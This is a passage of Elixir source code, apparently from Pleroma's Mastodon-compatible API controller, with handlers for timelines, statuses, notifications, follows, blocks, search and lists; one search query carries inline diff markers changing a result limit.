	uri: Web.base_url(),
	title: Keyword.get(instance, :name),
	description: Keyword.get(instance, :description),
	version: "#{@mastodon_api_level} (compatible; #{Pleroma.Application.named_version()})",
	email: Keyword.get(instance, :email),
	urls: %{
	streaming_api: Pleroma.Web.Endpoint.websocket_url()
	},
	stats: Stats.get_stats(),
	thumbnail: Web.base_url() <> "/instance/thumbnail.jpeg",
	languages: ["en"],
	registrations: Pleroma.Config.get([:instance, :registrations_open]),
	# Extra (not present in Mastodon):
	max_toot_chars: Keyword.get(instance, :limit)
	}

	json(conn, response)
	end

	def peers(conn, _params) do
	json(conn, Stats.get_peers())
	end

	defp mastodonized_emoji do
	Pleroma.Emoji.get_all()
	\|> Enum.map(fn {shortcode, relative_url, tags} ->
	url = to_string(URI.merge(Web.base_url(), relative_url))

	%{
	"shortcode" => shortcode,
	"static_url" => url,
	"visible_in_picker" => true,
	"url" => url,
	"tags" => tags
	}
	end)
	end

	def custom_emojis(conn, _params) do
	mastodon_emoji = mastodonized_emoji()
	json(conn, mastodon_emoji)
	end

	defp add_link_headers(conn, method, activities, param \\ nil, params \\ %{}) do
	params =
	conn.params
	\|> Map.drop(["since_id", "max_id", "min_id"])
	\|> Map.merge(params)

	last = List.last(activities)

	if last do
	max_id = last.id

	limit =
	params
	\|> Map.get("limit", "20")
	\|> String.to_integer()

	min_id =
	if length(activities) <= limit do
	activities
	\|> List.first()
	\|> Map.get(:id)
	else
	activities
	\|> Enum.at(limit * -1)
	\|> Map.get(:id)
	end

	{next_url, prev_url} =
	if param do
	{
	mastodon_api_url(
	Pleroma.Web.Endpoint,
	method,
	param,
	Map.merge(params, %{max_id: max_id})
	),
	mastodon_api_url(
	Pleroma.Web.Endpoint,
	method,
	param,
	Map.merge(params, %{min_id: min_id})
	)
	}
	else
	{
	mastodon_api_url(
	Pleroma.Web.Endpoint,
	method,
	Map.merge(params, %{max_id: max_id})
	),
	mastodon_api_url(
	Pleroma.Web.Endpoint,
	method,
	Map.merge(params, %{min_id: min_id})
	)
	}
	end

	conn
	\|> put_resp_header("link", "<#{next_url}>; rel=\"next\", <#{prev_url}>; rel=\"prev\"")
	else
	conn
	end
	end

	def home_timeline(%{assigns: %{user: user}} = conn, params) do
	params =
	params
	\|> Map.put("type", ["Create", "Announce"])
	\|> Map.put("blocking_user", user)
	\|> Map.put("muting_user", user)
	\|> Map.put("user", user)

	activities =
	[user.ap_id \| user.following]
	\|> ActivityPub.fetch_activities(params)
	\|> Enum.reverse()

	conn
	\|> add_link_headers(:home_timeline, activities)
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def public_timeline(%{assigns: %{user: user}} = conn, params) do
	local_only = params["local"] in [true, "True", "true", "1"]

	activities =
	params
	\|> Map.put("type", ["Create", "Announce"])
	\|> Map.put("local_only", local_only)
	\|> Map.put("blocking_user", user)
	\|> Map.put("muting_user", user)
	\|> ActivityPub.fetch_public_activities()
	\|> Enum.reverse()

	conn
	\|> add_link_headers(:public_timeline, activities, false, %{"local" => local_only})
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def user_statuses(%{assigns: %{user: reading_user}} = conn, params) do
	with %User{} = user <- User.get_cached_by_id(params["id"]) do
	activities = ActivityPub.fetch_user_activities(user, reading_user, params)

	conn
	\|> add_link_headers(:user_statuses, activities, params["id"])
	\|> put_view(StatusView)
	\|> render("index.json", %{
	activities: activities,
	for: reading_user,
	as: :activity
	})
	end
	end

	def dm_timeline(%{assigns: %{user: user}} = conn, params) do
	params =
	params
	\|> Map.put("type", "Create")
	\|> Map.put("blocking_user", user)
	\|> Map.put("user", user)
	\|> Map.put(:visibility, "direct")

	activities =
	[user.ap_id]
	\|> ActivityPub.fetch_activities_query(params)
	\|> Pagination.fetch_paginated(params)

	conn
	\|> add_link_headers(:dm_timeline, activities)
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def get_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Activity{} = activity <- Activity.get_by_id_with_object(id),
	true <- Visibility.visible_for_user?(activity, user) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user})
	end
	end

	def get_context(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Activity{} = activity <- Activity.get_by_id(id),
	activities <-
	ActivityPub.fetch_activities_for_context(activity.data["context"], %{
	"blocking_user" => user,
	"user" => user
	}),
	activities <-
	activities \|> Enum.filter(fn %{id: aid} -> to_string(aid) != to_string(id) end),
	activities <-
	activities \|> Enum.filter(fn %{data: %{"type" => type}} -> type == "Create" end),
	grouped_activities <- Enum.group_by(activities, fn %{id: id} -> id < activity.id end) do
	result = %{
	ancestors:
	StatusView.render(
	"index.json",
	for: user,
	activities: grouped_activities[true] \|\| [],
	as: :activity
	)
	\|> Enum.reverse(),
	# credo:disable-for-previous-line Credo.Check.Refactor.PipeChainStart
	descendants:
	StatusView.render(
	"index.json",
	for: user,
	activities: grouped_activities[false] \|\| [],
	as: :activity
	)
	\|> Enum.reverse()
	# credo:disable-for-previous-line Credo.Check.Refactor.PipeChainStart
	}

	json(conn, result)
	end
	end

	def scheduled_statuses(%{assigns: %{user: user}} = conn, params) do
	with scheduled_activities <- MastodonAPI.get_scheduled_activities(user, params) do
	conn
	\|> add_link_headers(:scheduled_statuses, scheduled_activities)
	\|> put_view(ScheduledActivityView)
	\|> render("index.json", %{scheduled_activities: scheduled_activities})
	end
	end

	def show_scheduled_status(%{assigns: %{user: user}} = conn, %{"id" => scheduled_activity_id}) do
	with %ScheduledActivity{} = scheduled_activity <-
	ScheduledActivity.get(user, scheduled_activity_id) do
	conn
	\|> put_view(ScheduledActivityView)
	\|> render("show.json", %{scheduled_activity: scheduled_activity})
	else
	_ -> {:error, :not_found}
	end
	end

	def update_scheduled_status(
	%{assigns: %{user: user}} = conn,
	%{"id" => scheduled_activity_id} = params
	) do
	with %ScheduledActivity{} = scheduled_activity <-
	ScheduledActivity.get(user, scheduled_activity_id),
	{:ok, scheduled_activity} <- ScheduledActivity.update(scheduled_activity, params) do
	conn
	\|> put_view(ScheduledActivityView)
	\|> render("show.json", %{scheduled_activity: scheduled_activity})
	else
	nil -> {:error, :not_found}
	error -> error
	end
	end

	def delete_scheduled_status(%{assigns: %{user: user}} = conn, %{"id" => scheduled_activity_id}) do
	with %ScheduledActivity{} = scheduled_activity <-
	ScheduledActivity.get(user, scheduled_activity_id),
	{:ok, scheduled_activity} <- ScheduledActivity.delete(scheduled_activity) do
	conn
	\|> put_view(ScheduledActivityView)
	\|> render("show.json", %{scheduled_activity: scheduled_activity})
	else
	nil -> {:error, :not_found}
	error -> error
	end
	end

	def post_status(conn, %{"status" => "", "media_ids" => media_ids} = params)
	when length(media_ids) > 0 do
	params =
	params
	\|> Map.put("status", ".")

	post_status(conn, params)
	end

	def post_status(%{assigns: %{user: user}} = conn, %{"status" => _} = params) do
	params =
	params
	\|> Map.put("in_reply_to_status_id", params["in_reply_to_id"])

	idempotency_key =
	case get_req_header(conn, "idempotency-key") do
	[key] -> key
	_ -> Ecto.UUID.generate()
	end

	scheduled_at = params["scheduled_at"]

	if scheduled_at && ScheduledActivity.far_enough?(scheduled_at) do
	with {:ok, scheduled_activity} <-
	ScheduledActivity.create(user, %{"params" => params, "scheduled_at" => scheduled_at}) do
	conn
	\|> put_view(ScheduledActivityView)
	\|> render("show.json", %{scheduled_activity: scheduled_activity})
	end
	else
	params = Map.drop(params, ["scheduled_at"])

	{:ok, activity} =
	Cachex.fetch!(:idempotency_cache, idempotency_key, fn _ ->
	CommonAPI.post(user, params)
	end)

	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def delete_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with {:ok, %Activity{}} <- CommonAPI.delete(id, user) do
	json(conn, %{})
	else
	_e ->
	conn
	\|> put_status(403)
	\|> json(%{error: "Can't delete this post"})
	end
	end

	def reblog_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, announce, _activity} <- CommonAPI.repeat(ap_id_or_id, user),
	%Activity{} = announce <- Activity.normalize(announce.data) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: announce, for: user, as: :activity})
	end
	end

	def unreblog_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, _unannounce, %{data: %{"id" => id}}} <- CommonAPI.unrepeat(ap_id_or_id, user),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id_with_object(id) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def fav_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, _fav, %{data: %{"id" => id}}} <- CommonAPI.favorite(ap_id_or_id, user),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def unfav_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, _, _, %{data: %{"id" => id}}} <- CommonAPI.unfavorite(ap_id_or_id, user),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def pin_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, activity} <- CommonAPI.pin(ap_id_or_id, user) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	else
	{:error, reason} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(:bad_request, Jason.encode!(%{"error" => reason}))
	end
	end

	def unpin_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, activity} <- CommonAPI.unpin(ap_id_or_id, user) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def bookmark_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Activity{} = activity <- Activity.get_by_id_with_object(id),
	%User{} = user <- User.get_cached_by_nickname(user.nickname),
	true <- Visibility.visible_for_user?(activity, user),
	{:ok, _bookmark} <- Bookmark.create(user.id, activity.id) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def unbookmark_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Activity{} = activity <- Activity.get_by_id_with_object(id),
	%User{} = user <- User.get_cached_by_nickname(user.nickname),
	true <- Visibility.visible_for_user?(activity, user),
	{:ok, _bookmark} <- Bookmark.destroy(user.id, activity.id) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def mute_conversation(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	activity = Activity.get_by_id(id)

	with {:ok, activity} <- CommonAPI.add_mute(user, activity) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	else
	{:error, reason} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(:bad_request, Jason.encode!(%{"error" => reason}))
	end
	end

	def unmute_conversation(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	activity = Activity.get_by_id(id)

	with {:ok, activity} <- CommonAPI.remove_mute(user, activity) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def notifications(%{assigns: %{user: user}} = conn, params) do
	notifications = MastodonAPI.get_notifications(user, params)

	conn
	\|> add_link_headers(:notifications, notifications)
	\|> put_view(NotificationView)
	\|> render("index.json", %{notifications: notifications, for: user})
	end

	def get_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do
	with {:ok, notification} <- Notification.get(user, id) do
	conn
	\|> put_view(NotificationView)
	\|> render("show.json", %{notification: notification, for: user})
	else
	{:error, reason} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => reason}))
	end
	end

	def clear_notifications(%{assigns: %{user: user}} = conn, _params) do
	Notification.clear(user)
	json(conn, %{})
	end

	def dismiss_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do
	with {:ok, _notif} <- Notification.dismiss(user, id) do
	json(conn, %{})
	else
	{:error, reason} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => reason}))
	end
	end

	def destroy_multiple(%{assigns: %{user: user}} = conn, %{"ids" => ids} = _params) do
	Notification.destroy_multiple(user, ids)
	json(conn, %{})
	end

	def relationships(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	id = List.wrap(id)
	q = from(u in User, where: u.id in ^id)
	targets = Repo.all(q)

	conn
	\|> put_view(AccountView)
	\|> render("relationships.json", %{user: user, targets: targets})
	end

	# Instead of returning a 400 when no "id" params is present, Mastodon returns an empty array.
	def relationships(%{assigns: %{user: _user}} = conn, _), do: json(conn, [])

	def update_media(%{assigns: %{user: user}} = conn, data) do
	with %Object{} = object <- Repo.get(Object, data["id"]),
	true <- Object.authorize_mutation(object, user),
	true <- is_binary(data["description"]),
	description <- data["description"] do
	new_data = %{object.data \| "name" => description}

	{:ok, _} =
	object
	\|> Object.change(%{data: new_data})
	\|> Repo.update()

	attachment_data = Map.put(new_data, "id", object.id)

	conn
	\|> put_view(StatusView)
	\|> render("attachment.json", %{attachment: attachment_data})
	end
	end

	def upload(%{assigns: %{user: user}} = conn, %{"file" => file} = data) do
	with {:ok, object} <-
	ActivityPub.upload(
	file,
	actor: User.ap_id(user),
	description: Map.get(data, "description")
	) do
	attachment_data = Map.put(object.data, "id", object.id)

	conn
	\|> put_view(StatusView)
	\|> render("attachment.json", %{attachment: attachment_data})
	end
	end

	def set_mascot(%{assigns: %{user: user}} = conn, %{"file" => file}) do
	with {:ok, object} <- ActivityPub.upload(file, actor: User.ap_id(user)),
	%{} = attachment_data <- Map.put(object.data, "id", object.id),
	%{type: type} = rendered <-
	StatusView.render("attachment.json", %{attachment: attachment_data}) do
	# Reject if not an image
	if type == "image" do
	# Sure!
	# Save to the user's info
	info_changeset = User.Info.mascot_update(user.info, rendered)

	user_changeset =
	user
	\|> Ecto.Changeset.change()
	\|> Ecto.Changeset.put_embed(:info, info_changeset)

	{:ok, _user} = User.update_and_set_cache(user_changeset)

	conn
	\|> json(rendered)
	else
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(415, Jason.encode!(%{"error" => "mascots can only be images"}))
	end
	end
	end

	def get_mascot(%{assigns: %{user: user}} = conn, _params) do
	mascot = User.get_mascot(user)

	conn
	\|> json(mascot)
	end

	def favourited_by(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Activity{data: %{"object" => object}} <- Repo.get(Activity, id),
	%Object{data: %{"likes" => likes}} <- Object.normalize(object) do
	q = from(u in User, where: u.ap_id in ^likes)
	users = Repo.all(q)

	conn
	\|> put_view(AccountView)
	\|> render(AccountView, "accounts.json", %{for: user, users: users, as: :user})
	else
	_ -> json(conn, [])
	end
	end

	def reblogged_by(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Activity{data: %{"object" => object}} <- Repo.get(Activity, id),
	%Object{data: %{"announcements" => announces}} <- Object.normalize(object) do
	q = from(u in User, where: u.ap_id in ^announces)
	users = Repo.all(q)

	conn
	\|> put_view(AccountView)
	\|> render("accounts.json", %{for: user, users: users, as: :user})
	else
	_ -> json(conn, [])
	end
	end

	def hashtag_timeline(%{assigns: %{user: user}} = conn, params) do
	local_only = params["local"] in [true, "True", "true", "1"]

	tags =
	[params["tag"], params["any"]]
	\|> List.flatten()
	\|> Enum.uniq()
	\|> Enum.filter(& &1)
	\|> Enum.map(&String.downcase(&1))

	tag_all =
	params["all"] \|\|
	[]
	\|> Enum.map(&String.downcase(&1))

	tag_reject =
	params["none"] \|\|
	[]
	\|> Enum.map(&String.downcase(&1))

	activities =
	params
	\|> Map.put("type", "Create")
	\|> Map.put("local_only", local_only)
	\|> Map.put("blocking_user", user)
	\|> Map.put("muting_user", user)
	\|> Map.put("tag", tags)
	\|> Map.put("tag_all", tag_all)
	\|> Map.put("tag_reject", tag_reject)
	\|> ActivityPub.fetch_public_activities()
	\|> Enum.reverse()

	conn
	\|> add_link_headers(:hashtag_timeline, activities, params["tag"], %{"local" => local_only})
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def followers(%{assigns: %{user: for_user}} = conn, %{"id" => id} = params) do
	with %User{} = user <- User.get_cached_by_id(id),
	followers <- MastodonAPI.get_followers(user, params) do
	followers =
	cond do
	for_user && user.id == for_user.id -> followers
	user.info.hide_followers -> []
	true -> followers
	end

	conn
	\|> add_link_headers(:followers, followers, user)
	\|> put_view(AccountView)
	\|> render("accounts.json", %{for: for_user, users: followers, as: :user})
	end
	end

	def following(%{assigns: %{user: for_user}} = conn, %{"id" => id} = params) do
	with %User{} = user <- User.get_cached_by_id(id),
	followers <- MastodonAPI.get_friends(user, params) do
	followers =
	cond do
	for_user && user.id == for_user.id -> followers
	user.info.hide_follows -> []
	true -> followers
	end

	conn
	\|> add_link_headers(:following, followers, user)
	\|> put_view(AccountView)
	\|> render("accounts.json", %{for: for_user, users: followers, as: :user})
	end
	end

	def follow_requests(%{assigns: %{user: followed}} = conn, _params) do
	with {:ok, follow_requests} <- User.get_follow_requests(followed) do
	conn
	\|> put_view(AccountView)
	\|> render("accounts.json", %{for: followed, users: follow_requests, as: :user})
	end
	end

	def authorize_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do
	with %User{} = follower <- User.get_cached_by_id(id),
	{:ok, follower} <- CommonAPI.accept_follow_request(follower, followed) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: followed, target: follower})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def reject_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do
	with %User{} = follower <- User.get_cached_by_id(id),
	{:ok, follower} <- CommonAPI.reject_follow_request(follower, followed) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: followed, target: follower})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def follow(%{assigns: %{user: follower}} = conn, %{"id" => id}) do
	with {_, %User{} = followed} <- {:followed, User.get_cached_by_id(id)},
	{_, true} <- {:followed, follower.id != followed.id},
	{:ok, follower} <- MastodonAPI.follow(follower, followed, conn.params) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: follower, target: followed})
	else
	{:followed, _} ->
	{:error, :not_found}

	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def follow(%{assigns: %{user: follower}} = conn, %{"uri" => uri}) do
	with {_, %User{} = followed} <- {:followed, User.get_cached_by_nickname(uri)},
	{_, true} <- {:followed, follower.id != followed.id},
	{:ok, follower, followed, _} <- CommonAPI.follow(follower, followed) do
	conn
	\|> put_view(AccountView)
	\|> render("account.json", %{user: followed, for: follower})
	else
	{:followed, _} ->
	{:error, :not_found}

	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def unfollow(%{assigns: %{user: follower}} = conn, %{"id" => id}) do
	with {_, %User{} = followed} <- {:followed, User.get_cached_by_id(id)},
	{_, true} <- {:followed, follower.id != followed.id},
	{:ok, follower} <- CommonAPI.unfollow(follower, followed) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: follower, target: followed})
	else
	{:followed, _} ->
	{:error, :not_found}

	error ->
	error
	end
	end

	def mute(%{assigns: %{user: muter}} = conn, %{"id" => id}) do
	with %User{} = muted <- User.get_cached_by_id(id),
	{:ok, muter} <- User.mute(muter, muted) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: muter, target: muted})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def unmute(%{assigns: %{user: muter}} = conn, %{"id" => id}) do
	with %User{} = muted <- User.get_cached_by_id(id),
	{:ok, muter} <- User.unmute(muter, muted) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: muter, target: muted})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def mutes(%{assigns: %{user: user}} = conn, _) do
	with muted_accounts <- User.muted_users(user) do
	res = AccountView.render("accounts.json", users: muted_accounts, for: user, as: :user)
	json(conn, res)
	end
	end

	def block(%{assigns: %{user: blocker}} = conn, %{"id" => id}) do
	with %User{} = blocked <- User.get_cached_by_id(id),
	{:ok, blocker} <- User.block(blocker, blocked),
	{:ok, _activity} <- ActivityPub.block(blocker, blocked) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: blocker, target: blocked})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def unblock(%{assigns: %{user: blocker}} = conn, %{"id" => id}) do
	with %User{} = blocked <- User.get_cached_by_id(id),
	{:ok, blocker} <- User.unblock(blocker, blocked),
	{:ok, _activity} <- ActivityPub.unblock(blocker, blocked) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: blocker, target: blocked})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def blocks(%{assigns: %{user: user}} = conn, _) do
	with blocked_accounts <- User.blocked_users(user) do
	res = AccountView.render("accounts.json", users: blocked_accounts, for: user, as: :user)
	json(conn, res)
	end
	end

	def domain_blocks(%{assigns: %{user: %{info: info}}} = conn, _) do
	json(conn, info.domain_blocks \|\| [])
	end

	def block_domain(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do
	User.block_domain(blocker, domain)
	json(conn, %{})
	end

	def unblock_domain(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do
	User.unblock_domain(blocker, domain)
	json(conn, %{})
	end

	def subscribe(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %User{} = subscription_target <- User.get_cached_by_id(id),
	{:ok, subscription_target} = User.subscribe(user, subscription_target) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: user, target: subscription_target})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def unsubscribe(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %User{} = subscription_target <- User.get_cached_by_id(id),
	{:ok, subscription_target} = User.unsubscribe(user, subscription_target) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: user, target: subscription_target})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def status_search_query_with_gin(q, query) do
	from([a, o] in q,
	where:
	fragment(
	"to_tsvector('english', ?->>'content') @@ plainto_tsquery('english', ?)",
	o.data,
	^query
	),
	order_by: [desc: :id]
	)
	end

	def status_search_query_with_rum(q, query) do
	from([a, o] in q,
	where:
	fragment(
	"? @@ plainto_tsquery('english', ?)",
	o.fts_content,
	^query
	),
	order_by: [fragment("? <=> now()::date", o.inserted_at)]
	)
	end

	def status_search(user, query) do
	fetched =
	if Regex.match?(~r/https?:/, query) do
	with {:ok, object} <- Fetcher.fetch_object_from_id(query),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(object.data["id"]),
	true <- Visibility.visible_for_user?(activity, user) do
	[activity]
	else
	_e -> []
	end
	end \|\| []

	q =
	from([a, o] in Activity.with_preloaded_object(Activity),
	where: fragment("?->>'type' = 'Create'", a.data),
	where: "https://www.w3.org/ns/activitystreams#Public" in a.recipients,
	- limit: 20
	+ limit: 40
	)

	q =
	if Pleroma.Config.get([:database, :rum_enabled]) do
	status_search_query_with_rum(q, query)
	else
	status_search_query_with_gin(q, query)
	end

	Repo.all(q) ++ fetched
	end

	def search2(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
	accounts = User.search(query, resolve: params["resolve"] == "true", for_user: user)

	statuses = status_search(user, query)

	tags_path = Web.base_url() <> "/tag/"

	tags =
	query
	\|> String.split()
	\|> Enum.uniq()
	\|> Enum.filter(fn tag -> String.starts_with?(tag, "#") end)
	\|> Enum.map(fn tag -> String.slice(tag, 1..-1) end)
	\|> Enum.map(fn tag -> %{name: tag, url: tags_path <> tag} end)

	res = %{
	"accounts" => AccountView.render("accounts.json", users: accounts, for: user, as: :user),
	"statuses" =>
	StatusView.render("index.json", activities: statuses, for: user, as: :activity),
	"hashtags" => tags
	}

	json(conn, res)
	end

	def search(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
	accounts = User.search(query, resolve: params["resolve"] == "true", for_user: user)

	statuses = status_search(user, query)

	tags =
	query
	\|> String.split()
	\|> Enum.uniq()
	\|> Enum.filter(fn tag -> String.starts_with?(tag, "#") end)
	\|> Enum.map(fn tag -> String.slice(tag, 1..-1) end)

	res = %{
	"accounts" => AccountView.render("accounts.json", users: accounts, for: user, as: :user),
	"statuses" =>
	StatusView.render("index.json", activities: statuses, for: user, as: :activity),
	"hashtags" => tags
	}

	json(conn, res)
	end

	def account_search(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
	accounts = User.search(query, resolve: params["resolve"] == "true", for_user: user)

	res = AccountView.render("accounts.json", users: accounts, for: user, as: :user)

	json(conn, res)
	end

	def favourites(%{assigns: %{user: user}} = conn, params) do
	params =
	params
	\|> Map.put("type", "Create")
	\|> Map.put("favorited_by", user.ap_id)
	\|> Map.put("blocking_user", user)

	activities =
	ActivityPub.fetch_activities([], params)
	\|> Enum.reverse()

	conn
	\|> add_link_headers(:favourites, activities)
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def user_favourites(%{assigns: %{user: for_user}} = conn, %{"id" => id} = params) do
	with %User{} = user <- User.get_by_id(id),
	false <- user.info.hide_favorites do
	params =
	params
	\|> Map.put("type", "Create")
	\|> Map.put("favorited_by", user.ap_id)
	\|> Map.put("blocking_user", for_user)

	recipients =
	if for_user do
	["https://www.w3.org/ns/activitystreams#Public"] ++
	[for_user.ap_id \| for_user.following]
	else
	["https://www.w3.org/ns/activitystreams#Public"]
	end

	activities =
	recipients
	\|> ActivityPub.fetch_activities(params)
	\|> Enum.reverse()

	conn
	\|> add_link_headers(:favourites, activities)
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: for_user, as: :activity})
	else
	nil ->
	{:error, :not_found}

	true ->
	conn
	\|> put_status(403)
	\|> json(%{error: "Can't get favorites"})
	end
	end

	def bookmarks(%{assigns: %{user: user}} = conn, params) do
	user = User.get_cached_by_id(user.id)

	bookmarks =
	Bookmark.for_user_query(user.id)
	\|> Pagination.fetch_paginated(params)

	activities =
	bookmarks
	\|> Enum.map(fn b -> Map.put(b.activity, :bookmark, Map.delete(b, :activity)) end)

	conn
	\|> add_link_headers(:bookmarks, bookmarks)
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def get_lists(%{assigns: %{user: user}} = conn, opts) do
	lists = Pleroma.List.for_user(user, opts)
	res = ListView.render("lists.json", lists: lists)
	json(conn, res)
	end

	def get_list(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user) do
	res = ListView.render("list.json", list: list)
	json(conn, res)
	else
	_e ->
	conn
	\|> put_status(404)
	\|> json(%{error: "Record not found"})
	end
	end

	def account_lists(%{assigns: %{user: user}} = conn, %{"id" => account_id}) do
	lists = Pleroma.List.get_lists_account_belongs(user, account_id)
	res = ListView.render("lists.json", lists: lists)
	json(conn, res)
	end

	def delete_list(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	{:ok, _list} <- Pleroma.List.delete(list) do
	json(conn, %{})
	else
	_e ->
	json(conn, "error")
	end
	end

	def create_list(%{assigns: %{user: user}} = conn, %{"title" => title}) do
	with {:ok, %Pleroma.List{} = list} <- Pleroma.List.create(title, user) do
	res = ListView.render("list.json", list: list)
	json(conn, res)
	end
	end

	def add_to_list(%{assigns: %{user: user}} = conn, %{"id" => id, "account_ids" => accounts}) do
	accounts
	\|> Enum.each(fn account_id ->
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	%User{} = followed <- User.get_cached_by_id(account_id) do
	Pleroma.List.follow(list, followed)
	end
	end)

	json(conn, %{})
	end

	def remove_from_list(%{assigns: %{user: user}} = conn, %{"id" => id, "account_ids" => accounts}) do
	accounts
	\|> Enum.each(fn account_id ->
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	%User{} = followed <- User.get_cached_by_id(account_id) do
	Pleroma.List.unfollow(list, followed)
	end
	end)

	json(conn, %{})
	end

	def list_accounts(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	{:ok, users} = Pleroma.List.get_following(list) do
	conn
	\|> put_view(AccountView)
	\|> render("accounts.json", %{for: user, users: users, as: :user})
	end
	end

